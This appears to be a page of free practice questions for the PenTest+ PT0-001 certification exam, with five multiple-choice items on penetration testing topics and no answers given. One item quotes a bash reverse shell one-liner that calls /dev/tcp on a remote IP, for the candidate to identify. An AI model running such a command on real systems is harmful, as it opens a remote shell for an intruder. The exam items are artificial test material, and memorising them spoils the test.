Online Access Free PT0-001 Exam Questions

A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation?

• A.Clickjacking
• B.Fill path disclosure
• C.Stored XSS
• D.Expired certificate

The following line was found in an exploited machine's history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?

• A.Redirects a TTY to a remote system.
• B.Performs a port scan.
• C.Removes error logs for the supplied IP.
• D.Grabs the web server's banner.

While performing privilege escalation on a Windows 7 workstation, a penetration tester identifies a service that imports a DLL by name rather than an absolute path. To exploit this vulnerability, which of the following criteria must be met?

• A.Permissions not disabled in the DLL
• B.Write permissions in the C:\Windows\System32\imports directory
• C.DLL not cryptographically signed by the vendor
• D.Weak folder permissions of a directory in the DLL search path

After an Nmap NSE scan, a security consultant is seeing inconsistent results while scanning a host. Which of the following is the MOST likely cause?

• A.A firewall/IPS blocked the scan
• B.The network administrator shut down services
• C.The host was not reachable
• D.Services are not listening

A system security engineer is preparing to conduct a security assessment of some new applications. The applications were provided to the engineer as a set that contains only JAR files. Which of the following would be the MOST detailed method to gather information on the inner working of these applications?

• A.Review the details and extensions of the certificate used to digitally sign the code and the application
• B.Decompile the applications to approximate source code and then conduct a manual review
• C.Use a static code analyzer on the JAR filet to look for code Quality deficiencies
• D.Launch the applications and use dynamic software analysis tools, including fuzz testing